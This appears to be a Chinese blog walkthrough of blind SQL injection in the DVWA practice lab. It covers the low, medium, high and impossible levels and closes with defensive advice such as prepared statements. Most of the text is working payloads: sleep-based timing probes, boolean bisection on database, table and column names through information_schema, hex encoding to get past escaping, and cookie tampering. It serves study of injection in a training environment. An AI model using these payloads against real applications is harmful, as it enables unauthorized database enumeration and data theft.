• DVWA靶场(七、盲注)


    一、盲注介绍

    盲注就是在SQL注入过程中,服务器并没有给客户端返回信息。通过盲注可以对程序对应的数据存储区进行对应的探测。盲注分类可以分为基于时间和基于布尔以及基于报错的盲注。

      1、基于时间,注意是否有延迟
      输入1 and sleep(5)#
      输入1' and sleep(5)#
      2、基于布尔,注意返回结果是否相同
      输入1' and 1=1 #
      输入1' and 1=2 #
    

    二、盲注(low)

    2.1、代码分析,low级别的代码对参数没有做任何过滤,以文本框输入并提交的形式,GET请求方式

    2.2、通过brup抓包,把请求消息copy到kali中,通过sqlmap探测得到注入点和数据库内容


    2.3、手工盲注的步骤,首先判断是否存在注入,注入是字符型还是数字型;接下来依次猜解数据库名、表名、字段名、数据。
    输入1,显示存在;输入1'and 1=1#,显示存在;输入1’ and 1=2 #,显示不存在;说明存在字符型的sql盲注

    2.4、猜解当前数据库名,首先猜解数据库名的长度,然后采用二分法猜解数据库名

      猜解长度:
      输入1’ and length(database())=3 #,显示不存在;
      输入1’ and length(database())=4 #,显示存在:
      猜解数据库名:
      输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
      输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
      不断重复猜出数据库名为dvwa
    

    2.5、猜解数据库中的表名,首先我们先猜解表的数量,说明有两个表

    1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
    

    MYsql数据库结构

    挨个猜解表名:

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
    
    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
    
    …
    
    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
    

    说明第一个表名长度为9

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
    
    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
    
    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
    
    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
    
    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
    

    说明第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)
    2.6、猜解表中的字段名,首先猜解表中的字段数量:

    1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
    
    …
    
    1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在
    

    说明users表中有8个字段,然后挨个猜解字段名:

    1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
    
    …
    
    1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
    

    说明users表中第一个字段为7个字符长度,采用二分法即可猜解出所有字段名。
    2.7、猜解数据
    采用二分法挨个猜测

    三、盲注(medium)

    3.1、代码分析,利用mysql_real_escape_string函数对特殊符号x00, , ,,’,”,x1a进行转义,控制用户不能通过文本框输入只能通过下拉菜单选择。

    3.2、这里只能通过brup抓包修改参数id进行查询,首先是基于布尔的盲注:

    抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
    
    抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
    
    抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。
    

    然后是基于时间的盲注:

    抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
    
    抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
    
    抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
    

    四、盲注(high)

    4.1、代码分析,可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

    4.2、虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

    抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
    
    抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
    
    抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
    

    五、盲注(impossible)

    5.1、代码分析,可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

    常见防范措施

    1、过滤用户输入
    2、使用预编译处理SQL语句(PDO、Sqlparameter)
    3、使用OWASP等安全的sql处理API

  • 相关阅读:
    go开发常用工具
    go 组合取代继承
    go 的struct 跟map赋值不同
    Go进阶35:Go语言自定义自己的SSHServer harder
    Go进阶18:常用加密解密算法总结
    golang处理时区
    Go的定时器cron
    Docker Alpine 容器修改/etc/hosts 不生效的问题
    成为 Go 高手的 8 个 GitHub 开源项目
    C#知识点总结系列:3、C#中Delegate和Event以及它们的区别
  • 原文地址:https://www.cnblogs.com/tonywell/p/14028198.html
Copyright © 2020-2023  润新知